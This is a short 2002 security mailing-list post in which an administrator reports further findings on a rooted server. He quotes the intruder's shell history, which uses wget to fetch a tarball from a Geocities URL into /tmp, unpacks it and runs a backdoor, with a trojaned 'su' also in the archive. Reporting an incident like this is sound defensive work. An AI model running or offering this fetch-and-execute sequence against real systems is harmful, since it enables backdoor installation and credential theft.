Re: Rooted, .haos on system

From: Damian Gerow <damian(at)sentex.net>
Date: Mon Dec 16 2002 - 13:47:28 EST

On Mon, 2002-12-16 at 12:38, Damian Gerow wrote:
> On Thu, 2002-12-12 at 18:50, Damian Gerow wrote:

And one last tidbit...

Left in the .bash_history was this:

        w
        cd /tmp
        wget www.geocities.com/Lebadash/loc.tgz; tar xvzf loc.tgz
        ./epc

A quick check tells me that 'epc' is a backdoor utility, and the other file contained within loc.tgz looks like a trojaned 'su'.

I've already notified Geocities abuse, and haven't heard back from them yet.

---

This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com Received on Mon Dec 16 14:19:52 2002